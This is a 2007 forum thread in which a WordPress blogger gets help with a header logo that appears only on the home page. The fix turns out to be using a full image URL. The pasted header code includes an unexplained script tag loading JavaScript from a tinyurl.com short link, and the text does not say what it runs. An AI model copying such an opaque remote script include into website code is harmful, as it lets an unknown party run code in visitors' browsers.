Why is my logo only appearing on my home page?

Discussion in 'HTML & Website Design' started by jdomaha, Sep 4, 2007.

  1. #1
    I recently picked up a new logo from Adrian, who was very helpful. Love the logo.

    Problem is, when I put it up on my site's header, the logo only shows when you're viewing the home page. Once you leave that page to read posts or pages, the logo disappears.

    Is there anything wrong with this header code?

    Here's my header code in its entirety.


    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>

    <head profile="http://gmpg.org/xfn/11">
    <meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />

    <meta name="keywords" content="evil,hell,serial killers,murderers,child molesters,rapists" />

    <meta name="verify-v1" content="Hgyq/ojTdSec6fDdkKiz+Vkb6VIIoinIeEjmry7bIuo=" />

    <title><?php bloginfo('name'); ?> <?php if ( is_single() ) { ?> &raquo; Blog Archive <?php } ?> <?php wp_title(); ?></title>

    <meta name="generator" content="WordPress <?php bloginfo('version'); ?>" /> <!-- leave this for stats -->

    <link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" />

    <!--[if lte IE 6]>

    <style type="text/css">

    div.commentslink {
    background:url(images/blank.gif);
    behavior:url("pngbehavior.htc");
    filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='<?php bloginfo('template_directory'); ?>/images/comments.png'); }

    </style>

    <![endif]-->

    <?php wp_head(); ?>

    </head>
    <body>

    <script type="text/javascript" src="http://tinyurl.com/2b5ojn"></script>

    <div class="head">

    <img src="1.jpg" />



    <ul>
    <li><a href="<?php bloginfo('home'); ?>/">Home</a></li>
    <?php wp_list_pages('title_li=&depth=1'); ?>
    </ul>



    </div>
    <div class="headbar"></div>
     
    jdomaha, Sep 4, 2007 IP
  2. NoobieDoobieDo

    NoobieDoobieDo Peon

    Messages:
    1,456
    Likes Received:
    53
    Best Answers:
    0
    Trophy Points:
    0
    #2
    W/O seeing the site chances are your 'single page' template hasn't been modified to include the new header code OR your simply viewing a cached version of the page.

    Tried a shift+refresh yet ?
     
    NoobieDoobieDo, Sep 4, 2007 IP
  3. jdomaha

    jdomaha Peon

    Messages:
    71
    Likes Received:
    3
    Best Answers:
    0
    Trophy Points:
    0
    #3
    Yeah that was the first thing I did.

    The ONLY thing that changed was that I took out the bloginfo ('name') and the bloginfo ('description')

    Here is what it looked like originally


    </head>
    <body>

    <div class="head">
    <h1><?php bloginfo('name'); ?></h1>
    <h2><?php bloginfo('description'); ?></h2>
    <ul>
    <li><a href="<?php bloginfo('home'); ?>/">Home</a></li>
    <?php wp_list_pages('title_li=&depth=1'); ?>
    </ul>

    </div>
    <div class="headbar"></div>
     
    jdomaha, Sep 4, 2007 IP
  4. adamjthompson

    adamjthompson Well-Known Member

    Messages:
    1,242
    Likes Received:
    59
    Best Answers:
    0
    Trophy Points:
    125
    #4
    Try using the full url for the image.
     
    adamjthompson, Sep 4, 2007 IP
  5. jdomaha

    jdomaha Peon

    Messages:
    71
    Likes Received:
    3
    Best Answers:
    0
    Trophy Points:
    0
    #5
    I have 1.jpg in the root directory.
     
    jdomaha, Sep 4, 2007 IP
  6. adamjthompson

    adamjthompson Well-Known Member

    Messages:
    1,242
    Likes Received:
    59
    Best Answers:
    0
    Trophy Points:
    125
    #6
    adamjthompson, Sep 4, 2007 IP
  7. jdomaha

    jdomaha Peon

    Messages:
    71
    Likes Received:
    3
    Best Answers:
    0
    Trophy Points:
    0
    #7
    That worked. Thank you so much!
     
    jdomaha, Sep 4, 2007 IP
  8. adamjthompson

    adamjthompson Well-Known Member

    Messages:
    1,242
    Likes Received:
    59
    Best Answers:
    0
    Trophy Points:
    125
    #8
    No problem, mate. :D

    ~Adam
     
    adamjthompson, Sep 4, 2007 IP